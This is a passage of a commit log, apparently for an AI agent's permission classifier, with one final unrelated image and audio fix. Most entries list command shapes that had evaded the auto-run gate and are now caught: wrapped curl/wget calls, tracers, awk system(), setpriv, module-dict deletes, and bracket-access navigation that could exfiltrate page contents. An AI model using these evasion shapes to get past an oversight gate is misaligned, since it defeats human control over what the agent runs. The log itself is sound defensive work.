- A network client behind a wrapper (env curl -T) was missed because the client
  check ran before the wrapper was resolved. slogin is a standard ssh alias and
  was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
  child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
  from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
  the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
  builtins.__import__ is the attribute form of __import__, and psutil ends a
  process exactly as os.kill does. The psutil check is keyed on the import so an
  unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
  Cookie) goes out whatever its value looks like; collaborator and team-member
  grants are access changes like the role verbs; and a recurring subscription
  bills repeatedly.

* Bound the classifier's input and stop prompting on four more ordinary shapes

Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.

Robustness:

- The credential-path pattern backtracks superlinearly, so a long argument made
  a single classification take seconds. Measured on main as well as here, so it
  predates this change, but this change makes the auto gate the default and so
  runs it on every call. Text far past any real path, and a command far past any
  real command, now fail closed: they ask rather than spending unbounded time
  deciding. Worst case over the adversarial set drops from a hang to 13 ms.

Over-prompting fixes:

- A container CLI reading its own state (docker ps, docker images, docker logs,
  kubectl get) is inspection. The whole CLI was gated because the escape lives
  in the arguments of run/exec, so the read subcommands were caught with it. An
  unrecognised subcommand still asks, so the list can only be too small.

- A python payload is screened with the same analyzer the python tool uses, so
  `python -c 'import torch; print(torch.__version__)'` runs while a destructive
  one-liner still asks. A payload that does not parse fails closed, since shell
  quoting may have mangled it. The other runtimes have no analyzer here and stay
  gated.

- An assignment with no command after it runs nothing: every terminal call gets
  its own shell process, so `export PATH=...` on its own dies with that process.
  Verified against real bash rather than assumed.

- For the search paths other than PATH (PYTHONPATH and friends), a relative
  entry points inside the session workdir, which is the agent's own directory,
  so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
  module and still asks. PATH itself counts for every value, because a relative
  entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).

Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.

* Tighten the permission-mode comments

Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.

The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.

No code, string literal or test expectation changed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate the navigation sinks reached by bracket access

The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.

Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.

* Gate seven more ways a command reaches the shell in auto mode

git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.

setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.

vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.

Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.

The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.

Adds 54 rows to the classifier tables covering both directions.

---------

Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 17:07:31 -07:00
pre-commit-ci[bot]
416393e724 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-26 23:40:58 +00:00
Daniel Han
bce3b9b20a Make the OpenAI image URL fetchable, keep WebM audio, stream example imports
Four review items on the diffusion Studio work:

- response_format=url returned the bearer-gated gallery route, which a standard image
  client downloads with no Authorization header, so the default response format was
  unusable. Mint a short-lived HMAC link instead (the shape RAG already uses for pdf.js)
  served by a signed route, and leave the gallery route itself bearer-only.
- A manual gpu_layers=0 load carrying speculative_type="off" -- a value the UI persists
  and sends -- read as GPU-bearing, so it took the GPU arbiter and evicted a resident
  image/video pipeline even though the launcher hides the GPUs for it. Canonicalize the
  mode and exempt "off".
- The curated example import prepared the whole split before the loop stopped at the
  10-100 image cap; m1guelpf/nouns is 49,859 rows / 328 MB. Stream instead, with the
  prepared load kept as a fallback for a repo that cannot stream.
- WebM export dropped the audio track an LTX-2 clip carries, silently, on the format
  offered for web embeds. Mux it as Opus through a resampler + FIFO, and keep exporting
  the video alone on a build without libopus.
2026-07-26 23:39:49 +00:00